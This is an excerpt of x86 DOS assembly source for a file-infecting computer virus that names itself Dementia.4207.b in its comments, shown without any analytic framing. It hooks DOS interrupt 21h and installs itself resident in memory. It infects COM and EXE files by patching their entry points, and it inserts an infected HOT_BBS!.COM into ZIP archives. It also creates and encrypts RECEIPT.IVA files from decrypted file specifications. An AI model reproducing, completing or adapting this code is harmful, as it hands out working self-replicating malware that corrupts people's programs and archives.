add ax,bx ; Add original stack segment to se...
mov ss,ax ; SS = original stack segment
mov ax,[stack_ptr] ; AX = original stack pointer
mov sp,ax ; SP = " " "
sti ; Set interrupt-enable flag
mov ah,62h ; Get current PSP address
int 21h
mov ds,bx ; DS = segment of PSP for current ...
mov es,bx ; ES = segment of PSP for current ...
xor ax,ax ; Zero AX
xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI
jmp dword ptr cs:[instruct_ptr]
vir_com_exit:
mov di,100h ; DI = offset of beginning of code
lea si,origin_code ; SI = offset of origin_code
nop
movsw ; Move the original code to beginning
movsb ; " " " " " "
push es ; Save ES at stack
mov ax,100h ; AX = offset of beginning of code
push ax ; Save AX at stack
xor ax,ax ; Zero AX
xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
retf ; Return far!
upcase_char proc near ; Upcase character
cmp al,'a' ; Lowcase character?
jl dont_upcase ; Less? Jump to dont_upcase
cmp al,'z' ; Lowcase character?
jg dont_upcase ; Greater? Jump to dont_upcase
sub al,20h ; Upcase character
dont_upcase:
ret ; Return!
endp
int21_virus proc near ; Interrupt 21h of Dementia.4207.b
pushf ; Save flags at stack
cld ; Clear direction flag
cmp ah,3eh ; Close file?
jne tst_open_fil ; Not equal? Jump to tst_open_fil
cmp bx,1492h ; Dementia.4207.b function?
jne tst_open_fil ; Not equal? Jump to tst_open_fil
mov bx,1776h ; Already resident
popf ; Load flags from stack
iret ; Interrupt return!
tst_open_fil:
cmp ah,3dh ; Open file
jne tst_load_and ; Not equal? Jump to tst_load_and
cmp al,0ffh ; Dementia.4207.b function
je dementia_fun ; Equal? Jump to dementia_fun
push ax si ; Save registers at stack
mov si,dx ; SI = offset of filename
find_dot:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je open_fi_exit ; Equal? Jump to open_fi_exit
cmp al,'.' ; Found the dot in the filename
jne find_dot ; Not equal? Jump to find_dot
lodsb ; AL = byte of extension
call upcase_char
cmp al,'C' ; COM executable?
jne tst_exe_exec ; Not equal? Jump to tst_exe_exec
lodsb ; AL = byte of extension
call upcase_char
cmp al,'O' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'M' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
call inf_com_exe
jmp open_fi_exit
tst_exe_exec:
cmp al,'E' ; EXE executable?
jne tst_zip_arch ; Not equal? Jump to tst_zip_arch
lodsb ; AL = byte of extension
call upcase_char
cmp al,'X' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'E' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
call inf_com_exe
jmp open_fi_exit
tst_zip_arch:
cmp al,'Z' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'I' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'P' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
call infect_zip
jmp open_fi_exit
open_fi_exit:
pop si ax ; Load registers from stack
jmp tst_load_and
dementia_fun:
mov al,02h ; Dementia.4207.b function
tst_load_and:
cmp ah,4bh ; Load and/or execute program?
jne int21_exit ; Not equal? Jump to int21_exit
call inf_com_exe
int21_exit:
popf ; Load flags from stack
jmp cs:[int21_addr]
endp
install proc near ; Allocate memory, move virus to t...
push es ; Save ES at stack
mov ah,52h ; Get list of lists
int 21h
mov ax,es:[bx-02h] ; AX = segment of first memory con...
next_mcb:
mov ds,ax ; DS = segment of current memory c...
mov al,ds:[00h] ; AL = block type
cmp al,'Z' ; Last block in chain?
je allocate_mem ; Equal? Jump to allocate_mem
mov ax,ds ; AX = segment of current memory c...
mov bx,ds:[03h] ; BX = size of memory block in par...
add ax,bx ; Add size of memory block in para...
inc ax ; AX = segment of next memory cont...
jmp next_mcb
allocate_mem:
mov bx,ds:[03h] ; BX = size of memory block in par...
sub bx,(code_end-code_begin+0fh)/10h*02h
mov ds:[03h],bx ; Store new size of memory control...
mov ax,ds ; AX = segment of last memory cont...
add ax,bx ; Add new size of memory block in ...
inc ax ; AX = segment of virus
mov es,ax ; ES = " " "
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
xor si,si ; Zero SI
xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to top of memory
push es ; Save ES at stack
lea ax,install_ ; AX = offset of install_
push ax ; Save AX at stack
retf ; Return far!
install_:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
mov ax,3521h ; Get interrupt vector 21h
int 21h
mov word ptr [int21_addr+02h],es
mov word ptr [int21_addr],bx
lea dx,int21_virus ; DX = offset of int21_virus
mov ax,2521h ; Set interrupt vector 21h
int 21h
pop es ; Load ES from stack
ret ; Return!
endp
inf_com_exe proc near ; Infect COM/EXE file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,06h ; Correct stack pointer
push ax bx cx dx si di ds es
call int24_store
call open_file
jc com_exe_exit ; Error? Jump to com_exe_exit
call load_info
and cx,0000000000011111b
cmp cx,0000000000000001b
je call_close ; Already infected? Jump to call_c...
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov cx,20h ; Read thirty-two bytes
call read_file
mov ax,ds:[00h] ; AX = EXE signature
cmp ax,'MZ' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect
cmp ax,'ZM' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect
call infect_com
jmp call_mark
call_infect:
call infect_exe
call_mark:
call infect_mark
call_close:
call close_file
com_exe_exit:
call int24_load
pop es ds di si dx cx bx ax
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
infect_zip proc near ; Infect ZIP archive
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,28h ; Correct stack pointer
push ax bx cx dx si di ds es
xor ax,ax ; Didn't found file
mov [bp-0eh],ax ; Store didn't found HOT_BBS!.COM
mov [bp-10h],ax ; " " " REQUEST.IVA
mov [bp-12h],ax ; " " " RECEIPT.IVA
call int24_store
push dx ds ; Save registers at stack
lea dx,temp_file ; DX = offset of temp_file
nop
call create_file
mov [bp-0ah],ax ; Store file handle of !#TEMP#!
pop ds dx ; Load registers from stack
call open_file
jnc load_info_ ; No error? Jump to load_info_
jmp inf_zip_exit
load_info_:
mov [bp-08h],ax ; Store file handle of ZIP file
call load_info
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
next_lfh_sig:
mov cx,04h ; Read four bytes
call read_file
mov ax,ds:[00h] ; AX = low-order word of file head...
cmp ax,'KP' ; Found low-order word of file ha...?
je test_dir_sig ; Equal? Jump to test_dir_sig
jmp call_mark_
test_dir_sig:
mov ax,ds:[02h] ; AX = high-order word of file hea...
cmp ax,201h ; Found high-order word of central...
jne read_lfh ; Not equal? Jump to read_lfh
jmp zero_cdh_num
read_lfh:
mov cx,1ah ; Read twenty-six bytes
call read_file
mov cx,ds:[16h] ; CX = filename length
mov dx,20h ; DI = offset of filename
call read_file_
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lea di,request_iva ; DI = offset of request_iva
nop
mov si,20h ; SI = offset of filename
request_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of request_iva
inc di ; Increase index register
cmp ah,00h ; End of filename?
je found_reques ; Equal? Jump to found_reques
cmp ah,al ; Byte of filename equal to byte o...
jne find_callfas ; Not equal? Jump to find_callfas
jmp request_loop
found_reques:
mov ax,01h ; Found REQUEST.IVA
mov [bp-10h],ax ; Store found REQUEST.IVA
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
call set_pos_cfp
mov [bp-24h],ax ; AX = low-order word of extra field
mov [bp-22h],dx ; DX = high-order word of extra field
find_callfas:
lea di,hot_bbs__com ; DI = offset of hot_bbs__com
nop
mov si,20h ; SI = offset of filename
callfas_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of hot_bbs__com
inc di ; Increase index register
cmp ah,00h ; End of filename?
je found_callfa ; Equal? Jump to found_callfa
cmp ah,al ; Byte of filename equal to byte o...
jne find_receipt ; Not equal? Jump to find_receipt
jmp callfas_loop
found_callfa:
mov ax,01h ; Found HOT_BBS!.COM
mov [bp-0eh],ax ; Store found HOT_BBS!.COM
find_receipt:
lea di,receipt_iva ; DI = offset of receipt_iva
nop
mov si,20h ; SI = offset of filename
receipt_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of receipt_iva
inc di ; Increase index register
cmp ah,00h ; End of filename?
je found_receip ; Equal? Jump to found_receip
cmp ah,al ; Byte of filename equal to byte o...
jne calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr
jmp receipt_loop
found_receip:
mov ax,01h ; Found RECEIPT.IVA
mov [bp-12h],ax ; Store found RECEIPT.IVA
calc_lfh_ptr:
mov dx,ds:[0eh] ; DX = low-order word of compresse...
mov cx,ds:[10h] ; CX = high-order word of compress...
mov ax,ds:[18h] ; AX = extra field length
add dx,ax ; Add extra field length to compre...
adc cx,00h ; Convert to 32-bit
call set_pos_cfp
jmp next_lfh_sig
zero_cdh_num:
xor ax,ax ; No central directory file header...
mov [bp-0ch],ax ; Store no central directory file ...
copy_cds:
mov ax,[bp-0ch] ; AX = number of central directory...
inc ax ; Increase number of central direc...
mov [bp-0ch],ax ; Store number of central director...
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,2ah ; Read forty-two bytes
call read_file
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov cx,ds:[18h] ; CX = filename length
mov bx,ds:[1ah] ; BX = extra field length
add cx,bx ; Add extra field length to filena...
mov bx,ds:[1ch] ; BX = file comment length
add cx,bx ; CX = number of bytes to read
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov cx,04h ; Read four bytes
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_
mov ax,ds:[00h] ; AX = low-order word of end of ce...
cmp ax,'KP' ; Found low-order word of end of ...?
je test_eoc_sig ; Equal? Jump to test_eoc_sig
jmp call_mark_
test_eoc_sig:
mov ax,ds:[02h] ; AX = high-order word of end of c...
cmp ax,605h ; Found high-order word of end of ...
je copy_eocds ; Equal? Jump to read_oecds
jmp copy_cds
copy_eocds:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,12h ; Read eightteen bytes
call read_file
mov ax,ds:[0ch] ; AX = low-order word of offset of...
mov [bp-18h],ax ; Store low-order word of offset o...
mov ax,ds:[0eh] ; AX = high-order word of offset o...
mov [bp-16h],ax ; Store high-order word of offset ...
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov cx,ds:[10h] ; CX = zipfile comment length
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov ax,[bp-10h] ; AX = found REQUEST.IVA
or ax,ax ; Didn't found REQUEST.IVA
jz test_callfas ; Zero? Jump to test_callfas
jmp test_receipt
test_callfas:
mov ax,[bp-0eh] ; AX = found HOT_BBS!.COM
or ax,ax ; Didn't found HOT_BBS!.COM
jz create_file_ ; Zero? Jump to create_file_
jmp call_mark_
create_file_:
lea dx,hot_bbs__com ; DX = offset of hot_bbs__com
nop
call create_file
mov [bp-14h],ax ; Store file handle of HOT_BBS!.COM
mov bx,[bp-14h] ; BX = file handle of HOT_BBS!.COM
mov cx,(file_end-file_begin)
nop
lea dx,file_begin ; DX = offset of file_begin
nop
call write_file_
call close_file
mov ax,01h ; Don't test filesize
mov [tst_filesize],ax ; Store don't test filesize
lea dx,hot_bbs__com ; DX = offset of hot_bbs__com
nop
call inf_com_exe
xor ax,ax ; Test filesize
mov [tst_filesize],ax ; Store test filesize
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lea si,hot_bbs__com ; SI = offset of hot_bbs__com
nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move HOT_BBS!.COM to filename
open_filenam:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,filename ; DX = offset of filename
nop
call open_file
call set_pos_eof
mov [bp-1ch],ax ; Store low-order word of filesize
mov [bp-1ah],dx ; Store high-order word of filesize
call calc_crc32
mov [bp-20h],ax ; Store low-order word of CRC-32 c...
mov [bp-1eh],dx ; Store high-order word of CRC-32 ...
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-16h] ; CX = high-order word of offset o...
mov dx,[bp-18h] ; DX = low-order word of offset of...
call set_pos_sof_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov ax,'KP' ; AX = low-order word of local hea...
mov ds:[00h],ax ; Store low-order word of local he...
mov ax,403h ; AX = high-order word of local hea...
mov ds:[02h],ax ; Store high-order word of local he...
mov ax,0ah ; AX = version needed to extract (v...
mov ds:[04h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[06h],ax ; Store general purpose bit flag
mov ds:[08h],ax ; Store compression method (the fil...
mov ax,1801h ; AX = last modified file time
mov ds:[0ah],ax ; Store last modified file time
mov ax,1d01h ; AX = last modified file date
mov ds:[0ch],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[0eh],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[10h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[12h],ax ; Store low-order word of compress...
mov ds:[16h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[14h],ax ; Store high-order word of compres...
mov ds:[18h],ax ; Store high-order word of uncompr...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ah],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length (0 bytes)
mov ds:[1ch],ax ; Store extra field length (0 bytes)
mov cx,1eh ; Write thirty bytes
call write_file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,filename ; DX = offset of filename
nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov bx,[bp-14h] ; BX = file handle of HOT_BBS!.COM
call set_pos_sof
copy_callfas:
mov bx,[bp-14h] ; BX = file handle of HOT_BBS!.COM
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je copy_cds_ ; Equal? Jump to copy_cds_
mov cx,ax ; CX = number of bytes actually read
mov bx,[bp-08h] ; BX = file handle of ZIP file
call write_file
jmp copy_callfas
copy_cds_:
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call set_pos_sof
cpy_cds_loop:
mov ax,[bp-0ch] ; AX = number of central directory...
cmp ax,00h ; No central directory file header?
je wrt_last_cds ; Equal? Jump to write_last_cds
dec ax ; Decrease number of central direc...
mov [bp-0ch],ax ; Store number of central director...
mov ax,'KP' ; AX = low-order word of central d...
mov ds:[00h],ax ; Store low-order word of central ...
mov ax,201h ; AX = high-order word of central ...
mov ds:[02h],ax ; Store high-order word of central...
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
mov cx,2ah ; Read forty-two bytes
mov dx,04h ; DX = offset of central directory...
call read_file_
mov cx,ds:[1ch] ; CX = filename length
mov dx,ds:[1eh] ; DX = extra field length
add cx,dx ; Add extra field length to filena...
mov dx,ds:[20h] ; DX = file comment length
add cx,dx ; CX = number of bytes to read
push cx ; Save CX at stack
mov dx,2eh ; DX = offset of central directory...
call read_file_
mov bx,[bp-08h] ; BX = file handle of ZIP file
pop cx ; Load CX from stack
add cx,2eh ; Add size of central directory fi...
call write_file
jmp cpy_cds_loop
wrt_last_cds:
mov ax,0ah ; AX = version made by (version 1....
mov ds:[04h],ax ; Store version made by (version 1...
mov ds:[06h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[08h],ax ; Store general purpose bit flag
mov ds:[0ah],ax ; Store compression method (the fil...
mov ax,1801h ; AX = last modified file time
mov ds:[0ch],ax ; Store last modified file time
mov ax,1d01h ; AX = last modified file date
mov ds:[0eh],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[10h],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[12h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[14h],ax ; Store low-order word of compress...
mov ds:[18h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[16h],ax ; Store high-order word of compres...
mov ds:[1ah],ax ; Store high-order word of compres...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ch],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length, file co...
mov ds:[1eh],ax ; Store extra field length (0 bytes)
mov ds:[20h],ax ; Store file comment length (0 bytes)
mov ds:[22h],ax ; Store disk number start (0 bytes)
mov ds:[24h],ax ; Store internal file attributes
mov ds:[26h],ax ; Store low-order word of external...
mov ds:[28h],ax ; Store high-order word of externa...
mov ax,[bp-18h] ; AX = low-order word of offset of...
mov ds:[2ah],ax ; Store low-order word of relative...
mov ax,[bp-16h] ; AX = high-order word of offset o...
mov ds:[2ch],ax ; Store high-order word of relativ...
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,2eh ; Write forty-six bytes
call write_file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,filename ; DX = offset of filename
nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov ax,'KP' ; AX = low-order word of end of ce...
mov ds:[00h],ax ; Store low-order word of end of c...
mov ax,605h ; AX = high-order word of end of c...
mov ds:[02h],ax ; Store high-order word of end of ...
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
mov cx,12h ; Read eightteen bytes
mov dx,04h ; DX = offset of end of central di...
call read_file_
mov cx,ds:[14h] ; CX = zipfile comment length
push cx ; Save CX at stack
mov dx,16h ; DX = offset of zipfile comment
call read_file_
mov ax,ds:[08h] ; AX = total number of entries in ...
inc ax ; Increase total number of entries...
mov ds:[08h],ax ; Store total number of entries in...
mov ax,ds:[0ah] ; AX = total number of entries in ...
inc ax ; Increase total number of entries...
mov ds:[0ah],ax ; Store total number of entries in...
mov ax,ds:[0ch] ; AX = low-order word of size of t...
mov dx,ds:[0eh] ; DX = high-order word of size of ...
add ax,3ah ; Add size of central directory fi...
nop
adc dx,00h ; Convert to 32-bit
mov ds:[0ch],ax ; Store low-order word of size of ...
mov ds:[0eh],dx ; Store high-order word of size of...
mov ax,ds:[10h] ; AX = low-order word of offset of...
mov dx,ds:[12h] ; DX = high-order word of offset o...
add ax,2ah ; Add size of local file header to...
nop
adc dx,00h ; Convert to 32-bit
mov bx,[bp-1ah] ; BX = high-order word of filesize
add dx,bx ; Add high-order word of filesize ...
mov bx,[bp-1ch] ; BX = low-order word of filesize
add ax,bx ; Add low-order word of filesize t...
adc dx,00h ; Convert to 32-bit
mov ds:[10h],ax ; Store low-order word of offset o...
mov ds:[12h],dx ; Store high-order word of offset ...
mov bx,[bp-08h] ; BX = file handle of ZIP file
pop cx ; Load CX from stack
add cx,16h ; Add size of end of central direc...
call write_file
mov bx,[bp-14h] ; BX = file handle of HOT_BBS!.COM
call close_file
lea dx,filename ; DX = offset of filename
nop
call delete_file
jmp call_mark_
test_receipt:
mov ax,[bp-12h] ; AX = found RECEIPT.IVA
or ax,ax ; Didn't found RECEIPT.IVA
jz exam_extra ; Zero? Jump to exam_extra
jmp call_mark_
exam_extra:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-22h] ; CX = high-order word of extra field
mov dx,[bp-24h] ; DX = low-order word of extra field
call set_pos_sof_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov es,ax ; ES = segment of data buffer
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cld ; Clear direction flag
xor si,si ; Zero SI
xor di,di ; Zero DI
lodsw ; AX = word of extra field
cmp ax,1492h ; Found infection mark?
je comp_extra ; Equal? Jump to comp_extra
jmp call_mark_
comp_extra:
lodsw ; AX = word of extra field
cmp ax,1776h ; Found infection mark?
je load_extra ; Equal? Jump to load_extra
jmp call_mark_
load_extra:
lodsw ; AX = 16-bit decryption key
mov dx,ax ; DX = " " "
lodsb ; AL = number of file specifications
xor cx,cx ; Zero CX
mov cl,al ; CL = number of filespecification
push ax ; Save AX at stack
decrypt_next:
push cx ; Save CX at stack
mov cx,07h ; Decryption fourteen bytes
decrypt_spec:
lodsw ; AX = word of encrypted file spec...
xor ax,dx ; Decrypt word of file specification
stosw ; Store word of file specification
loop decrypt_spec
pop cx ; Load CX from stack
loop decrypt_next
mov ax,ds ; AX = segment of data buffer
add ax,40h ; AX = segment of pathname
mov es,ax ; ES = " " "
push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
mov ah,47h ; Get current directory
xor dl,dl ; Default drive
xor si,si ; Zero SI
int 21h
pop ds ; Load DS from stack
mov ax,es ; AX = segment of pathname
add ax,04h ; AX = segment of end of pathname
mov es,ax ; ES = " " " " "
xor di,di ; Zero DI
mov al,'\' ; AL = backslash
stosb ; Store backslash
xor al,al ; AL = zero
stosb ; Store zero
push es ; Save ES at stack
mov ah,2fh ; Get disk transfer area address
int 21h
mov [bp-26h],es ; Store segment of disk transfer a...
mov [bp-28h],bx ; Store offset of disk transfer ar...
pop es ; Load ES from stack
push ds ; Save DS at stack
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
xor dx,dx ; Zero DX
mov ah,1ah ; Set disk transfer area address
int 21h
lea dx,receipt_iva ; DX = offset of receipt_iva
nop
call create_file
mov bx,ax ; BX = file handle of RECEIPT.IVA
mov [bp-14h],ax ; Store file handle of RECEIPT.IVA
pop ds ; Load DS from stack
pop ax ; Load AX from stack
mov dx,01h ; Don't store backslash
call create_recei
mov bx,[bp-14h] ; BX = file handle of RECEIPT.IVA
call set_pos_sof
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
mov es,ax ; ES = " " " " "
encrypt_rece:
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je set_dta_addr ; Equal? Jump to set_dta_addr
push ax ; Save AX at stack
xor dx,dx ; Zero DX
sub dx,ax ; DX = -number of bytes actually read
mov cx,-01h
call set_pos_cfp
pop ax ; Load AX from stack
push ax ; Save AX at stack
mov cx,ax ; CX = number of bytes actually read
xor si,si ; Zero SI
xor di,di ; Zero DI
encrypt_ipt_:
lodsb ; AL = byte of RECEIPT.IVA
xor al,0ffh ; Encrypt byte of RECEIPT.IVA
stosb ; Store encrypted byte of RECEIPT.IVA
loop encrypt_ipt_
pop ax ; Load AX from stack
mov cx,ax ; CX = number of bytes actually read
call write_file
jmp encrypt_rece
set_dta_addr:
call close_file
mov ds,[bp-26h] ; DS = segment of disk transfer area
mov dx,[bp-28h] ; DX = offset of disk transfer area
mov ah,1ah ; Set disk transfer area address
int 21h
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+40h
mov ds,ax ; DS = segment of data buffer
xor dx,dx ; Zero DX
mov ah,3bh ; Set current directory
int 21h
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lea si,receipt_iva ; SI = offset of receipt_iva
nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move RECEIPT.IVA to filename
jmp open_filenam
call_mark_:
mov bx,[bp-08h] ; BX = file handle of ZIP file
call infect_mark
mov bx,[bp-08h] ; BX = file handle of ZIP file
call close_file
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call close_file
lea dx,temp_file ; DX = offset of temp_file
nop
call delete_file
inf_zip_exit:
call int24_load
pop es ds di si dx cx bx ax
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
infect_com proc near ; Infect COM file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer
mov ah,00h ; COM executable
nop
nop
mov cs:[com_or_exe],ah ; Store COM executable
mov ax,ds:[00h] ; AX = word of original code of CO...
mov word ptr cs:[origin_code],ax
mov al,ds:[02h] ; AL = byte of original code of CO...
mov cs:[origin_code+02h],al
call encrypt_copy
call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize
push ax ; Save AX at stack
mov ax,cs:[tst_filesize]
cmp ax,01h ; Don't test filesize?
pop ax ; Load AX from stack
je calc_buf_seg ; Equal? Jump to calc_buf_seg
cmp dx,00h ; Filesize too large?
jne inf_com_exit ; Not equal? Jump to inf_com_exit
cmp ax,1000h ; Filesize too small?
jb inf_com_exit ; Below? Jump to inf_com_exit
calc_buf_seg:
add ax,(code_end-code_begin)
jb inf_com_exit ; Filesize too large? Jump to inf_...
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov cx,10h ; CX = number of bytes to add to f...
mov ax,[bp-04h] ; AX = filesize
and ax,0000000000001111b
sub cx,ax ; CX = number of bytes to add to f...
mov ax,[bp-04h] ; AX = filesize
add ax,cx ; AX = offset of virus within file
mov [bp-04h],ax ; Store offset of virus within file
call write_file_
mov cx,(code_end-code_begin)
call write_file
mov al,0e9h ; JMP imm16 (opcode 0e9h)
mov ds:[00h],al ; Store JMP imm16
mov ax,[bp-04h] ; AX = filesize
sub ax,03h ; Subtract size of opcode JMP imm16
mov ds:[01h],ax ; Store 16-bit immediate
call set_pos_sof
mov cx,03h ; Write three bytes
call write_file
inf_com_exit:
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
infect_exe proc near ; Infect EXE file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer
mov ah,01h ; EXE executable
nop
nop
mov cs:[com_or_exe],ah ; Store EXE executable
call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize
and ax,0000000000001111b
mov cx,10h ; CX = number of bytes to add to f...
sub cx,ax ; CX = " " " " " " "
mov ax,[bp-04h] ; AX = low-order word of filesize
mov dx,[bp-02h] ; DX = high-order word of filesize
add ax,cx ; Add number of bytes to add to fi...
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
call write_file_
push bx ; Save BX at stack
mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
sub dx,bx ; Subtract header size in sixty fi...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
sub ax,bx ; Subtract header size from filesize
sbb dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack
mov ax,ds:[14h] ; AX = original instruction pointer
mov cs:[instruct_ptr],ax
mov ax,ds:[16h] ; AX = original code segment
mov cs:[code_seg],ax ; Store original code segment
xor ax,ax ; Zero AX
mov ds:[14h],ax ; Store initial IP
mov cs:[initial_ip],ax ; Store " "
mov ax,[bp-02h] ; AX = high-order word of pointer ...
test ax,1111111111110000b
jz calc_ins_ptr ; Zero? Jump to calc_ins_ptr
jmp inf_exe_exit
calc_ins_ptr:
mov cl,0ch
shl ax,cl ; Multiply by sixty-five thousand ...
mov dx,[bp-04h] ; DX = low-order word of pointer t...
mov cl,04h ; Divide by paragraphs
shr dx,cl ; DX = low-order word of pointer t...
add ax,dx ; AX = initial CS relative to star...
mov ds:[16h],ax ; Store initial CS relative to sta...
mov cs:[initial_cs],ax ; " " " " " "
push ax ; Save AX at stack
mov ax,ds:[0eh] ; AX = initial SS relative to star...
mov cs:[stack_seg],ax ; Store initial SS relative to sta...
mov ax,ds:[10h] ; AX = initial SP
mov cs:[stack_ptr],ax ; Store initial SP
pop ax ; Load AX from stack
add ax,(code_end-code_begin+0fh)/10h
jae store_stack ; Above or equal? Jump to store_stack
jmp inf_exe_exit
store_stack:
mov ds:[0eh],ax ; Store initial SS relative to sta...
mov ax,100h ; AX = initial SP
mov ds:[10h],ax ; Store initial SP
push bx ; Save BX at stack
